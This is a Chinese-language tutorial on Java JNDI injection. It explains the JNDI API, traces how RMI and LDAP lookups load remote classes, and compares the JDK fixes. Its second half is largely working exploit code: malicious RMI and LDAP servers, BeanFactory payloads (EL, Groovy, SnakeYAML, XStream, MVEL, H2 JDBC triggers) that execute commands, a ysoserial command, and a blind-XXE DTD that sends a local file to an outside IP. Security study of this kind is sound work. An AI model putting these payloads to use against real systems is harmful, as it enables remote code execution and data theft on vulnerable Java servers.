Jndi注入

简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务和目录服务,如下图。

jndi包

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类
  • javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir-Context类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务

最重要的是javax.naming包,它包含了访问目录服务所需的类和接口,比如Context、Bindings、References、lookup 等。

JNDI类

常见的类有如下几个

InitialContext

构造方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13

//构建一个初始上下文。

InitialContext()

//构造一个初始上下文,并选择不初始化它。

InitialContext(boolean lazy)

//使用提供的环境构建初始上下文。

InitialContext(Hashtable<?,?> environment)

常用到的方法有以下几个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

//将名称绑定到对象。

bind(Name name, Object obj)

//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。

list(String name)

//检索命名对象。

lookup(String name)

//将名称绑定到对象,覆盖任何现有绑定。

rebind(String name, Object obj)

//取消绑定命名对象。

unbind(String name)

demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

import javax.naming.InitialContext;

import javax.naming.NamingException;



public class JndiTest {

public static void main(String[] args) throws NamingException {

String uri = "rmi://127.0.0.1:1099/work";

//在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

InitialContext initialContext = new InitialContext();

initialContext.lookup(uri);

}

}

Reference

该类是javax.naming中的一个类,该类表示在命名/目录系统外部找到的对象的引用。此类提供了JNDI类的引用功能
构造方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

//为类名为"className"的对象构造一个新的引用。

Reference(String className)

//为类名为"className"的对象和地址构造一个新引用。

Reference(String className, RefAddr addr)

//为类名为"className"的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。

Reference(String className, RefAddr addr, String factory, String factoryLocation)

//为类名为"className"的对象以及对象工厂的类名和位置构造一个新引用。

Reference(String className, String factory, String factoryLocation)



/*

参数:

className 远程加载时所使用的类名

factory 加载的class中需要实例化类的名称

factoryLocation 提供classes数据的地址可以是file/ftp/http协议

*/

常用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

//将地址添加到索引posn的地址列表中。

void add(int posn, RefAddr addr)

//从此引用中删除所有地址。

void clear()

//检索索引posn上的地址。

RefAddr get(int posn)

//检索本参考文献中地址的列举。

Enumeration<RefAddr> getAll()

//检索引用引用的对象的类名。

String getClassName()

//检索此引用引用的对象的工厂位置。

String getFactoryClassLocation()

//检索此引用引用对象的工厂的类名。

String getFactoryClassName()

//从地址列表中删除索引posn上的地址。

Object remove(int posn)

//检索此引用中的地址数。

int size()

//生成此引用的字符串表示形式。

String toString()

demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;



public class JndiTest {

public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {

String url = "http://127.0.0.1:8080";

Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("test", "test", url);

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("aa",referenceWrapper);

}

}

这里在调用完Reference又使用ReferenceWrapper对前面的reference对象进行了封装,之所以这么做是因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类。(将类注册到Registry需要实现Remote和继承UnicastRemoteObject类)

jndi + rmi 注入

服务端还是利用 https://www.yuque.com/zqiangweihuakai/kb/yk0fv5pk1ssnkqxr 此篇的rmi服务端代码
利用jndi 调用rmi服务端的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

package com.rmi;




import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

import java.rmi.RemoteException;

import java.util.Hashtable;



public class jndi {

public static void main(String[] args) throws NamingException, RemoteException {

//设置JNDI环境

Hashtable<String, String> env = new Hashtable<>();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8989");



//初始上下文,其实通俗点来讲就是获取初始目录环境。

InitialContext initialContext = new InitialContext(env);



//调用远程类

Servicetest Servicetest =(Servicetest)initialContext.lookup("test");

String re = Servicetest.test();

System.out.println(re);

}

}



JNDI+DNS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

public class DNSClient {

public static void main(String[] args) {

Hashtable<String, String> env = new Hashtable<>();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");

env.put(Context.PROVIDER_URL, "dns://114.114.114.114");



try {

DirContext ctx = new InitialDirContext(env);

Attributes res = ctx.getAttributes("quan9i.top", new String[] {"A"});

System.out.println(res);

} catch (NamingException e) {

e.printStackTrace();

}

}

}

参考:
https://goodapple.top/archives/696
https://xz.aliyun.com/t/13421
https://xz.aliyun.com/t/12277
https://eastjun.top/posts/jndi_inject/
https://tttang.com/archive/1611/#toc_
[https://xz.aliyun.com/t/7079?time__1311=n4%2BxnD0Dy7itGQNKGNnmAzti%3DDkW3DB7in1oD](https://xz.aliyun.com/t/7079?time__1311=n4%2BxnD0Dy7itGQNKGNnmAzti%3DDkW3DB7in1oD
https://xz.aliyun.com/t/7264?time__1311=n4%2BxnD0Dy7G%3DBxGqGNnmADR7DgDfErrx3%2BBbD#toc-0

JNDI加RMI注入低版本执行流程

这里选择使用别人写好的工具启用一个服务端,也可以选择自己简单写一个,我这里为了方便就使用别人的工具

1
2
3
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
启动命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C curl 47.101.63.120:8081

被攻击的客户端代码

1
2
3
4
5
6
7
8
9
10
11
package com.ocean;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JDNIAttack {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://10.169.5.226:1099/wnys6l");
}
}

开始进行分析

继续跟进去

继续跟

在这里可以看到有个熟悉的registry.lookup,其实这里的registry的值就是

所以这里面是存在着rmi反序列化漏洞的。这里先不管这个继续跟到下面decodeObject方法里

这里箭头所指的作用就是将ReferenceWrapper还原成reference,继续跟到NamingManager.getObjectInstance方法里去

跟进箭头所指的地方

这里会进行类加载,跟进去看看

这里会先从本地加载我们穿进去的类,但是肯定是不存在的

之后就会去这里通过codebase 找,也就是我们传入的远程地址,然后进行加载

这里如果是静态代码块就会直接加载执行了

如果是构造函数就会是实例化

JDNI低版本修复

对比下新旧版JDK的com.sun.jndi.rmi.registry.RegistryContext类的decodeObject()函数的代码就很清楚了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// 低版本JDK
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}


// 高版本JDK
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

很明显,就只是在使用URLClassLoader加载器加载远程类之前加了个if语句检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true,而该设置项的值默认为false。

JNDI加LDAP低版本注入执行流程

这里主要是跟前面的协议不同调用不同的lookup,继续跟

继续跟

继续跟进去

接着跟进去

重点在decodeObject这里,这里的attrs就是ldap上的属性

继续跟进去

这里就是获取一些值解析这些属性,可以看到这里有许多判断条件,是因为jndi支持许多类型保存

可以看到如果是序列化的话就会调用反序列化,如果是引用的话就调用

就会将我们的引用给解析出来,跟rmi的类似,解出来之后

回到这里继续跟进去

和rmi就基本一样了到这里。

LDAP低版本修复

比较下新旧版本的com.sun.naming.internal.VersionHelper12类loadClass()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 旧版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}


// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

很明显,就只是在使用URLClassLoader加载器加载远程类之前加了个if语句检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true,而该设置项的值默认为false。

JNDI高版本绕过

这里啰嗦说很多,就直接总结网上师傅们所说的,其实就是能够在本地找到一个工厂类并且实现了ObjectFactory接口,并且存在getObjectInstance方法,就可以进行尝试探索利用。而这里比较常用的一个是tomcat的org.apache.naming.factory.BeanFactory 工厂类去调用 javax.el.ELProcessor#eval方法。这里我们看一下他的执行过程。

我们可以直接来到这一步

跟进去会发现是通过loadClass()函数来加载我们传入的org.apache.naming.factory.BeanFactory类,然后新建该类实例并将其转换成ObjectFactory类型,也就是说,我们传入的Factory类必须实现ObjectFactory接口类、而org.apache.naming.factory.BeanFactory正好满足这一点

这里可以知道就是首先会加载本地的工厂类,如果不存在在去远程加载我们指定的类。这里我们知道如果本地存在che.naming.factory.BeanFactory 工厂类他是能加载成功的。所以我们继续跟进

跟进看到org.apache.naming.factory.BeanFactory类的getObjectInstance()函数中,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval内容

继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!之后,就是获取beanClass即javax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中:

接着while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素:

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行

最关键的其实在这里,有一个反射的方法,该类的getObjectInstance()函数中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

服务端rmi代码

el表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.jndi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {


public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);

//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("evilEL", referenceWrapper);
}

}

grovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}

LDAP高版本绕过

其实这里就是在分析LDAP+JNDI的时候他有个类似swich的东西,当时传入的是引用类,所以走了引用类的逻辑,但是如果我们传入的是序列化的对象,并且后续会被反序列化,那么就相当于存在了一个天然的反序列化入口了,就可以触发本地的Gadget了,可以看白日梦组长的JNDI的视频。

先构造一个存在漏洞的环境

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

使用yso工具生成payload

1
java -jar ysoserial-all.jar CommonsCollections6 'open -a Calculator' | base64

这里写一个LDAP服务器的代码并打成jar包方便以后使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.jndibypass;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.io.FileUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main (String[] tmp_args ) throws Exception{
if (tmp_args.length < 2) {
System.out.println("Usage: java xxx.jar <IP> <file>");
System.exit(1);
}

String ip = tmp_args[0];
String[] args = new String[]{"http://" + ip +"/#Evail"};
String payload = "";
File file = new File(tmp_args[1]);
try {
payload = FileUtils.readFileToString(file);
System.out.println(payload);
} catch (IOException e) {
e.printStackTrace();
}

int port = 6666;

InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;
private String payload;

public OperationInterceptor ( URL cb , String payload) {
this.codebase = cb;
this.payload = payload;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e, payload);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

e.addAttribute("javaSerializedData", Base64.decode(payload));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

不过这里打jar包有太多坑点参考:

https://blog.csdn.net/NullNullAgo/article/details/124703694

https://blog.csdn.net/qq_42476644/article/details/112178820

将上面生成的payloda放到一个文件中放到ldap里

1
java -jar LDAPServer.jar 127.0.0.1 1.txt

之后在可控端输入

现在开始调试,前面的lookup和之前一样主要看关键点

跟到decodeObject里

可以看到这里会根据不同的类型进入不同的判断之前是工厂类现在是序列化的数据,所以会进入第一个判断

执行deserializeObject方法,跟进去

可以看到这里会反序列化读出来

snakeyaml

1
2
3
4
5
6
7
8
9
10
11
12
private static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}

参考:https://tttang.com/archive/1405/

xstream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private static ResourceRef tomcat_xstream(){
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
return ref;
}

MVEL

1
2
3
4
5
6
7
8
9

private static ResourceRef tomcat_MVEL(){
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=exec"));
ref.add(new StringRefAddr("a",
"push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');"));
return ref;
}

Nativelibloader

com.sun.glass.utils.NativeLibLoader是JDK的类,它有一个loadLibrary(String)方法。

它会去加载指定路径的动态链接库文件,所以只要能够通过WEB功能或者写文件gadget上传一个动态链接库就可以用com.sun.glass.utils.NativeLibLoader来加载并执行命令。

1
2
3
4
5
6
7
private static ResourceRef tomcat_loadLibrary(){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
return ref;
}

xxe

它会根据pathname去发起本地或者远程文件访问,并使用 commons-digester 解析返回的 XML 内容,所以这里可以 XXE。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIXXE {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef resourceRef = new ResourceRef("org.apache.catalina.UserDatabase",null,"","",
true,"org.apache.catalina.users.MemoryUserDatabaseFactory",null );
resourceRef.add(new StringRefAddr("pathname", "http://192.227.165.134/xxe.xml"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Object", referenceWrapper);
}
}

xxe盲注payload

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.227.165.134/test.dtd">
%remote;%int;%send;
]>

test.dtd

1
2
<!ENTITY % file SYSTEM "file://D://flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.227.165.134:8888/1.txt?p=%file;'>">

jdbc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private static Reference tomcat_dbcp2_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

四种不同版本的 dbcp 要用不同的工厂类

如果遇到使用的不是 Tomcat 或没有 dbcp 时就可以尝试换成 commons-dbcp。

tomcat-jdbc

如果遇到 dbcp 使用不了时,可以使用 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static Reference tomcat_JDBC_RCE(){
return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
Reference ref = new Reference("javax.sql.DataSource",factory,null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

druid-jdbc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static Reference druid(){
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}

http://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/#%E5%88%A9%E7%94%A8LDAP%E8%BF%94%E5%9B%9E%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%EF%BC%8C%E8%A7%A6%E5%8F%91%E6%9C%AC%E5%9C%B0Gadget

https://www.cnblogs.com/bitterz/p/15946406.html

https://forum.butian.net/share/1895